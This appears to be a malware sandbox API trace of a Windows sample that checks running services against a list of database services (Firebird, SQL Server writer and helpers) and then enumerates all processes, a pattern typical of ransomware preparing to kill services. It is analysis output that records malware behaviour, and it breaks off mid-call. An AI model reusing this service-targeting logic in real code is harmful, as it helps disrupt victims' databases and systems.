[0079.572] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="ShellHWDetection") returned -1 [0079.572] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="ShellHWDetection") returned -1 [0079.572] lstrcmpiW (lpString1="sqlwriter", lpString2="ShellHWDetection") returned 1 [0079.572] lstrcmpiW (lpString1="mssqlserver", lpString2="ShellHWDetection") returned -1 [0079.572] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="ShellHWDetection") returned 1 [0079.572] lstrlenW (lpString="Spooler") returned 7 [0079.573] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="Spooler") returned -1 [0079.573] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="Spooler") returned -1 [0079.573] lstrcmpiW (lpString1="sqlwriter", lpString2="Spooler") returned 1 [0079.573] lstrcmpiW (lpString1="mssqlserver", lpString2="Spooler") returned -1 [0079.573] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="Spooler") returned 1 [0079.573] lstrlenW (lpString="SSDPSRV") returned 7 [0079.573] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="SSDPSRV") returned -1 [0079.573] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="SSDPSRV") returned -1 [0079.573] lstrcmpiW (lpString1="sqlwriter", lpString2="SSDPSRV") returned -1 [0079.573] lstrcmpiW (lpString1="mssqlserver", lpString2="SSDPSRV") returned -1 [0079.573] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="SSDPSRV") returned -1 [0079.573] lstrlenW (lpString="StateRepository") returned 15 [0079.573] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="StateRepository") returned -1 [0079.573] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="StateRepository") returned -1 [0079.573] lstrcmpiW (lpString1="sqlwriter", lpString2="StateRepository") returned -1 [0079.573] lstrcmpiW (lpString1="mssqlserver", lpString2="StateRepository") returned -1 [0079.573] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="StateRepository") returned -1 [0079.573] lstrlenW (lpString="SysMain") returned 7 [0079.573] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="SysMain") returned -1 [0079.573] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="SysMain") returned -1 [0079.573] lstrcmpiW (lpString1="sqlwriter", lpString2="SysMain") returned -1 [0079.573] lstrcmpiW (lpString1="mssqlserver", lpString2="SysMain") returned -1 [0079.574] HeapFree (in: hHeap=0x440000, dwFlags=0x0, lpMem=0x3600078 | out: hHeap=0x440000) returned 1 [0079.574] CreateToolhelp32Snapshot (dwFlags=0x2, th32ProcessID=0x0) returned 0x2f4 [0081.364] Process32FirstW (in: hSnapshot=0x2f4, lppe=0x24afd2c | out: lppe=0x24afd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x0, pcPriClassBase=0, dwFlags=0x0, szExeFile="[System Process]")) returned 1 [0081.365] Process32NextW (in: hSnapshot=0x2f4, lppe=0x24afd2c | out: lppe=0x24afd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x6c, th32ParentProcessID=0x0, pcPriClassBase=8, dwFlags=0x0, szExeFile="System")) returned 1 [0081.365] lstrlenW (lpString="System") returned 6 [0081.365] Process32NextW (in: hSnapshot=0x2f4, lppe=0x24afd2c | out: lppe=0x24afd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x144, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x3, th32ParentProcessID=0x4, pcPriClassBase=11, dwFlags=0x0, szExeFile="smss.exe")) returned 1 [0081.366] lstrlenW (lpString="smss.exe") returned 8 [0081.366] Process32NextW (in: hSnapshot=0x2f4, lppe=0x24afd2c | out: lppe=0x24afd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x19c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xa, th32ParentProcessID=0x194, pcPriClassBase=13, dwFlags=0x0, szExeFile="csrss.exe")) returned 1 [0081.367] lstrlenW (lpString="csrss.exe") returned 9 [0081.367] Process32NextW (in: hSnapshot=0x2f4, lppe=0x24afd2c | out: lppe=0x24afd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x1ec, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x4, th32ParentProcessID=0x194, pcPriClassBase=13, dwFlags=0x0, szExeFile="wininit.exe")) returned 1 [0081.368] lstrlenW (lpString="wininit.exe") returned 11 [0081.368] Process32NextW (in: hSnapshot=0x2f4, lppe=0x24afd2c | out: lppe=0x24afd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x1f8, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xb, th32ParentProcessID=0x1e4, pcPriClassBase=13, dwFlags=0x0, szExeFile="csrss.exe")) returned 1 [0081.368] lstrlenW (lpString="csrss.exe") returned 9 [0081.368] Process32NextW (in: hSnapshot=0x2f4, lppe=0x24afd2c | out: lppe=0x24afd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x234, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x6, th32ParentProcessID=0x1e4, pcPriClassBase=13, dwFlags=0x0, szExeFile="winlogon.exe")) returned 1 [0081.369] lstrlenW (lpString="winlogon.exe") returned 12 [0081.369] Process32NextW (in: hSnapshot=0x2f4, lppe=0x24afd2c | out: lppe=0x24afd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x250, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xe, th32ParentProcessID=0x1ec, pcPriClassBase=9, dwFlags=0x0, szExeFile="services.exe")) returned 1 [0081.370] lstrlenW (lpString="services.exe") returned 12 [0081.370] Process32NextW (in: hSnapshot=0x2f4, lppe=0x24afd2c | out: lppe=0x24afd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x258, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x8, th32ParentProcessID=0x1ec, pcPriClassBase=9, dwFlags=0x0, szExeFile="lsass.exe")) returned 1 [0081.370] lstrlenW (lpString="lsass.exe") returned 9 [0081.371] Process32NextW (in: hSnapshot=0x2f4, lppe=0x24afd2c | out: lppe=0x24afd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x2b4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x15, th32ParentProcessID=0x250, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0081.371] lstrlenW (lpString="svchost.exe") returned 11 [0081.371] Process32NextW (in: hSnapshot=0x2f4, lppe=0x24afd2c | out: lppe=0x24afd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x2c0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x5, th32ParentProcessID=0x234, pcPriClassBase=8, dwFlags=0x0, szExeFile="fontdrvhost.exe")) returned 1 [0081.372] lstrlenW (lpString="fontdrvhost.exe") returned 15 [0081.372] Process32NextW (in: hSnapshot=0x2f4, lppe=0x24afd2c | out: lppe=0x24afd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x2c8, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x5, th32ParentProcessID=0x1ec, pcPriClassBase=8, dwFlags=0x0, szExeFile="fontdrvhost.exe")) returned 1 [0081.373] lstrlenW (lpString="fontdrvhost.exe") returned 15 [0081.373] Process32NextW (in: hSnapshot=0x2f4, lppe=0x24afd2c | out: lppe=0x24afd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x318, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xf, th32ParentProcessID=0x250, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0081.373] lstrlenW (lpString="svchost.exe") returned 11 [0081.373] Process32NextW (in: hSnapshot=0x2f4, lppe=0x24afd2c | out: lppe=0x24afd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x374, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xb, th32ParentProcessID=0x234, pcPriClassBase=13, dwFlags=0x0, szExeFile="dwm.exe")) returned 1 [0081.374] lstrlenW (lpString="dwm.exe") returned 7 [0081.374] Process32NextW (in: hSnapshot=0x2f4, lppe=0x24afd2c | out: lppe=0x24afd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x3c0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x4e, th32ParentProcessID=0x250, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0081.374] lstrlenW (lpString="svchost.exe") returned 11 [0081.374] Process32NextW (in: hSnapshot=0x2f4, lppe=0x24afd2c | out: lppe=0x24afd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x3d0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1b, th32ParentProcessID=0x250, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0081.375] lstrlenW (lpString="svchost.exe") returned 11 [0081.375] Process32NextW (in: hSnapshot=0x2f4, lppe=0x24afd2c | out: lppe=0x24afd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x3f4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x13, th32ParentProcessID=0x250, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0081.375] lstrlenW (lpString="svchost.exe") returned 11 [0081.375] Process32NextW (in: hSnapshot=0x2f4, lppe=0x24afd2c | out: lppe=0x24afd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x12c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x12, th32ParentProcessID=0x250, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0081.376] lstrlenW (lpString="svchost.exe") returned 11 [0081.376] Process32NextW (in: hSnapshot=0x2f4, lppe=0x24afd2c | out: lppe=0x24afd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x170, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x24, th32ParentProcessID=0x250, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0081.376] lstrlenW (lpString="svchost.exe") returned 11 [0081.376] Process32NextW (in: hSnapshot=0x2f4, lppe=0x24afd2c | out: lppe=0x24afd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x480, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x19, th32ParentProcessID=0x250, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0081.377] lstrlenW (lpString="svchost.exe") returned 11 [0081.377] Process32NextW (in: hSnapshot=0x2f4, lppe=0x24afd2c | out: lppe=0x24afd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x4fc, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x9, th32ParentProcessID=0x250, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0081.377] lstrlenW (lpString="svchost.exe") returned 11 [0081.377] Process32NextW (in: hSnapshot=0x2f4, lppe=0x24afd2c | out: lppe=0x24afd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x530, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x4, th32ParentProcessID=0x250, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0081.378] lstrlenW (lpString="svchost.exe") returned 11 [0081.378] Process32NextW (in: hSnapshot=0x2f4, lppe=0x24afd2c | out: lppe=0x24afd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x538, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xa, th32ParentProcessID=0x250, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0081.379] lstrlenW (lpString="svchost.exe") returned 11 [0081.379] Process32NextW (in: hSnapshot=0x2f4, lppe=0x24afd2c | out: lppe=0x24afd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x5c4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xc, th32ParentProcessID=0x250, pcPriClassBase=8, dwFlags=0x0, szExeFile="spoolsv.exe")) returned 1 [0081.379] lstrlenW (lpString="spoolsv.exe") returned 11 [0081.379] Process32NextW (in: hSnapshot=0x2f4, lppe=0x24afd2c | out: lppe=0x24afd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x5f0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xe, th32ParentProcessID=0x250, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0081.380] lstrlenW (lpString="svchost.exe") returned 11 [0081.380] Process32NextW (in: hSnapshot=0x2f4, lppe=0x24afd2c | out: lppe=0x24afd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x684, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x5, th32ParentProcessID=0x250, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0081.380] lstrlenW (lpString="svchost.exe") returned 11 [0081.380] Process32NextW (in: hSnapshot=0x2f4, lppe=0x24afd2c | out: lppe=0x24afd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x6a4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x7, th32ParentProcessID=0x4fc, pcPriClassBase=8, dwFlags=0x0, szExeFile="audiodg.exe")) returned 1 [0081.381] lstrlenW (lpString="audiodg.exe") returned 11 [0081.381] Process32NextW (in: hSnapshot=0x2f4, lppe=0x24afd2c | out: lppe=0x24afd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x6fc, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xf, th32ParentProcessID=0x3c0, pcPriClassBase=8, dwFlags=0x0, szExeFile="sihost.exe")) returned 1 [0081.381] lstrlenW (lpString="sihost.exe") returned 10 [0081.381] Process32NextW (in: hSnapshot=0x2f4, lppe=0x24afd2c | out: lppe=0x24afd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x718, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xd, th32ParentProcessID=0x250, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0081.382] lstrlenW (lpString="svchost.exe") returned 11 [0081.382] Process32NextW (in: hSnapshot=0x2f4, lppe=0x24afd2c | out: lppe=0x24afd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x7ac, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x10, th32ParentProcessID=0x3c0, pcPriClassBase=8, dwFlags=0x0, szExeFile="taskhostw.exe")) returned 1 [0081.382] lstrlenW (lpString="taskhostw.exe") returned 13 [0081.382] Process32NextW (in: hSnapshot=0x2f4, lppe=0x24afd2c | out: lppe=0x24afd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x7f4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x14, th32ParentProcessID=0x250, pcPriClassBase=8, dwFlags=0x0, szExeFile="OfficeClickToRun.exe")) returned 1 [0081.383] lstrlenW (lpString="OfficeClickToRun.exe") returned 20 [0081.383] Process32NextW (in: hSnapshot=0x2f4, lppe=0x24afd2c | out: lppe=0x24afd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x55c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x4, th32ParentProcessID=0x250, pcPriClassBase=8, dwFlags=0x0, szExeFile="SecurityHealthService.exe")) returned 1 [0081.384] lstrlenW (lpString="SecurityHealthService.exe") returned 25 [0081.384] Process32NextW (in: hSnapshot=0x2f4, lppe=0x24afd2c | out: lppe=0x24afd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x860, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x3d, th32ParentProcessID=0x834, pcPriClassBase=8, dwFlags=0x0, szExeFile="explorer.exe")) returned 1 [0081.384] lstrlenW (lpString="explorer.exe") returned 12 [0081.384] Process32NextW (in: hSnapshot=0x2f4, lppe=0x24afd2c | out: lppe=0x24afd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x8bc, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xe, th32ParentProcessID=0x4, pcPriClassBase=8, dwFlags=0x0, szExeFile="Memory Compression")) returned 1 [0081.385] lstrlenW (lpString="Memory Compression") returned 18 [0081.385] Process32NextW (in: hSnapshot=0x2f4, lppe=0x24afd2c | out: lppe=0x24afd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xb50, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1b, th32ParentProcessID=0x2b4, pcPriClassBase=8, dwFlags=0x0, szExeFile="ShellExperienceHost.exe")) returned 1 [0081.385] lstrlenW (lpString="ShellExperienceHost.exe") returned 23 [0081.385] Process32NextW (in: hSnapshot=0x2f4, lppe=0x24afd2c | out: lppe=0x24afd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xb58, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1c, th32ParentProcessID=0x2b4, pcPriClassBase=8, dwFlags=0x0, szExeFile="SearchUI.exe")) returned 1 [0081.386] lstrlenW (lpString="SearchUI.exe") returned 12 [0081.386] Process32NextW (in: hSnapshot=0x2f4, lppe=0x24afd2c | out: lppe=0x24afd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xbf4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x5, th32ParentProcessID=0x2b4, pcPriClassBase=8, dwFlags=0x0, szExeFile="RuntimeBroker.exe")) returned 1 [0081.386] lstrlenW (lpString="RuntimeBroker.exe") returned 17 [0081.386] Process32NextW (in: hSnapshot=0x2f4, lppe=0x24afd2c | out: lppe=0x24afd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xe04, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x9, th32ParentProcessID=0x2b4, pcPriClassBase=8, dwFlags=0x0, szExeFile="WmiPrvSE.exe")) returned 1 [0081.387] lstrlenW (lpString="WmiPrvSE.exe") returned 12 [0081.387] Process32NextW (in: hSnapshot=0x2f4, lppe=0x24afd2c | out: lppe=0x24afd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xf80, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x9, th32ParentProcessID=0x3c0, pcPriClassBase=8, dwFlags=0x0, szExeFile="taskhostw.exe")) returned 1 [0081.387] lstrlenW (lpString="taskhostw.exe") returned 13 [0081.387] Process32NextW (in: hSnapshot=0x2f4, lppe=0x24afd2c | out: lppe=0x24afd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xf90, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x5, th32ParentProcessID=0x3c0, pcPriClassBase=6, dwFlags=0x0, szExeFile="UsoClient.exe")) returned 1 [0081.388] lstrlenW (lpString="UsoClient.exe") returned 13 [0081.388] Process32NextW (in: hSnapshot=0x2f4, lppe=0x24afd2c | out: lppe=0x24afd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xfa8, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x7, th32ParentProcessID=0x3c0, pcPriClassBase=6, dwFlags=0x0, szExeFile="taskhostw.exe")) returned 1 [0081.388] lstrlenW (lpString="taskhostw.exe") returned 13 [0081.388] Process32NextW (in: hSnapshot=0x2f4, lppe=0x24afd2c | out: lppe=0x24afd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xfb0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x3c0, pcPriClassBase=6, dwFlags=0x0, szExeFile="msoia.exe")) returned 1 [0081.389] lstrlenW (lpString="msoia.exe") returned 9 [0081.389] Process32NextW (in: hSnapshot=0x2f4, lppe=0x24afd2c | out: lppe=0x24afd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xfb8, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x3c0, pcPriClassBase=6, dwFlags=0x0, szExeFile="DeviceCensus.exe")) returned 1 [0081.389] lstrlenW (lpString="DeviceCensus.exe") returned 16 [0081.389] Process32NextW (in: hSnapshot=0x2f4, lppe=0x24afd2c | out: lppe=0x24afd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xfc0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x5, th32ParentProcessID=0x3c0, pcPriClassBase=6, dwFlags=0x0, szExeFile="UNPCampaignManager.exe")) returned 1 [0081.390] lstrlenW (lpString="UNPCampaignManager.exe") returned 22 [0081.390] Process32NextW (in: hSnapshot=0x2f4, lppe=0x24afd2c | out: lppe=0x24afd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xfd0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x3c0, pcPriClassBase=6, dwFlags=0x0, szExeFile="msoia.exe")) returned 1 [0081.391] lstrlenW (lpString="msoia.exe") returned 9 [0081.391] Process32NextW (in: hSnapshot=0x2f4, lppe=0x24afd2c | out: lppe=0x24afd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xfd8, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x6, th32ParentProcessID=0x3c0, pcPriClassBase=6, dwFlags=0x0, szExeFile="AppHostRegistrationVerifier.exe")) returned 1 [0081.392] lstrlenW (lpString="AppHostRegistrationVerifier.exe") returned 31 [0081.392] Process32NextW (in: hSnapshot=0x2f4, lppe=0x24afd2c | out: lppe=0x24afd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x4c4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x860, pcPriClassBase=8, dwFlags=0x0, szExeFile="entering.exe")) returned 1 [0081.392] lstrlenW (lpString="entering.exe") returned 12 [0081.392] Process32NextW (in: hSnapshot=0x2f4, lppe=0x24afd2c | out: lppe=0x24afd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x49c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x860, pcPriClassBase=8, dwFlags=0x0, szExeFile="measurement nut d.exe")) returned 1 [0081.393] lstrlenW (lpString="measurement nut d.exe") returned 21 [0081.393] Process32NextW (in: hSnapshot=0x2f4, lppe=0x24afd2c | out: lppe=0x24afd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x47c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x860, pcPriClassBase=8, dwFlags=0x0, szExeFile="ai element.exe")) returned 1 [0081.464] lstrlenW (lpString="ai element.exe") returned 14 [0081.464] Process32NextW (in: hSnapshot=0x2f4, lppe=0x24afd2c | out: lppe=0x24afd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x468, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x860, pcPriClassBase=8, dwFlags=0x0, szExeFile="divorce_mode_twelve.exe")) returned 1 [0081.464] lstrlenW (lpString="divorce_mode_twelve.exe") returned 23 [0081.464] Process32NextW (in: hSnapshot=0x2f4, lppe=0x24afd2c | out: lppe=0x24afd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xcb8, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x860, pcPriClassBase=8, dwFlags=0x0, szExeFile="clicking.exe")) returned 1 [0081.465] lstrlenW (lpString="clicking.exe") returned 12 [0081.465] Process32NextW (in: hSnapshot=0x2f4, lppe=0x24afd2c | out: lppe=0x24afd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x7f0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x860, pcPriClassBase=8, dwFlags=0x0, szExeFile="pack.exe")) returned 1 [0081.465] lstrlenW (lpString="pack.exe") returned 8 [0081.465] Process32NextW (in: hSnapshot=0x2f4, lppe=0x24afd2c | out: lppe=0x24afd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x9e0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x860, pcPriClassBase=8, dwFlags=0x0, szExeFile="try-gtk.exe")) returned 1 [0081.466] lstrlenW (lpString="try-gtk.exe") returned 11 [0081.466] Process32NextW (in: hSnapshot=0x2f4, lppe=0x24afd2c | out: lppe=0x24afd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xd08, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x860, pcPriClassBase=8, dwFlags=0x0, szExeFile="counseling tmp.exe")) returned 1 [0081.467] lstrlenW (lpString="counseling tmp.exe") returned 18 [0081.467] Process32NextW (in: hSnapshot=0x2f4, lppe=0x24afd2c | out: lppe=0x24afd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xcf4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x860, pcPriClassBase=8, dwFlags=0x0, szExeFile="radius_johnston_transmission.exe")) returned 1 [0081.467] lstrlenW (lpString="radius_johnston_transmission.exe") returned 32 [0081.467] Process32NextW (in: hSnapshot=0x2f4, lppe=0x24afd2c | out: lppe=0x24afd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x654, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x860, pcPriClassBase=8, dwFlags=0x0, szExeFile="j-portions-folders.exe")) returned 1 [0081.468] lstrlenW (lpString="j-portions-folders.exe") returned 22 [0081.468] Process32NextW (in: hSnapshot=0x2f4, lppe=0x24afd2c | out: lppe=0x24afd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x784, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x860, pcPriClassBase=8, dwFlags=0x0, szExeFile="samuel-clubs.exe")) returned 1 [0081.468] lstrlenW (lpString="samuel-clubs.exe") returned 16 [0081.468] Process32NextW (in: hSnapshot=0x2f4, lppe=0x24afd2c | out: lppe=0x24afd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xd44, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x860, pcPriClassBase=8, dwFlags=0x0, szExeFile="gaps_industrial.exe")) returned 1 [0081.469] lstrlenW (lpString="gaps_industrial.exe") returned 19 [0081.469] Process32NextW (in: hSnapshot=0x2f4, lppe=0x24afd2c | out: lppe=0x24afd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xb08, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x860, pcPriClassBase=8, dwFlags=0x0, szExeFile="jerry pure.exe")) returned 1 [0081.469] lstrlenW (lpString="jerry pure.exe") returned 14 [0081.469] Process32NextW (in: hSnapshot=0x2f4, lppe=0x24afd2c | out: lppe=0x24afd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xb04, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x860, pcPriClassBase=8, dwFlags=0x0, szExeFile="powerseller.exe")) returned 1 [0081.470] lstrlenW (lpString="powerseller.exe") returned 15 [0081.470] Process32NextW (in: hSnapshot=0x2f4, lppe=0x24afd2c | out: lppe=0x24afd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xd58, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x860, pcPriClassBase=8, dwFlags=0x0, szExeFile="non firewall.exe")) returned 1 [0081.471] lstrlenW (lpString="non firewall.exe") returned 16 [0081.471] Process32NextW (in: hSnapshot=0x2f4, lppe=0x24afd2c | out: lppe=0x24afd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xd80, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x860, pcPriClassBase=8, dwFlags=0x0, szExeFile="coal-cottage-vt.exe")) returned 1 [0081.472] lstrlenW (lpString="coal-cottage-vt.exe") returned 19 [0081.472] Process32NextW (in: hSnapshot=0x2f4, lppe=0x24afd2c | out: lppe=0x24afd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xd18, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x860, pcPriClassBase=8, dwFlags=0x0, szExeFile="revealsprimarilywalk.exe")) returned 1 [0081.472] lstrlenW (lpString="revealsprimarilywalk.exe") returned 24 [0081.472] Process32NextW (in: hSnapshot=0x2f4, lppe=0x24afd2c | out: lppe=0x24afd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xa60, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x7, th32ParentProcessID=0x2b4, pcPriClassBase=8, dwFlags=0x0, szExeFile="dllhost.exe")) returned 1 [0081.473] lstrlenW (lpString="dllhost.exe") returned 11 [0081.473] Process32NextW (in: hSnapshot=0x2f4, lppe=0x24afd2c | out: 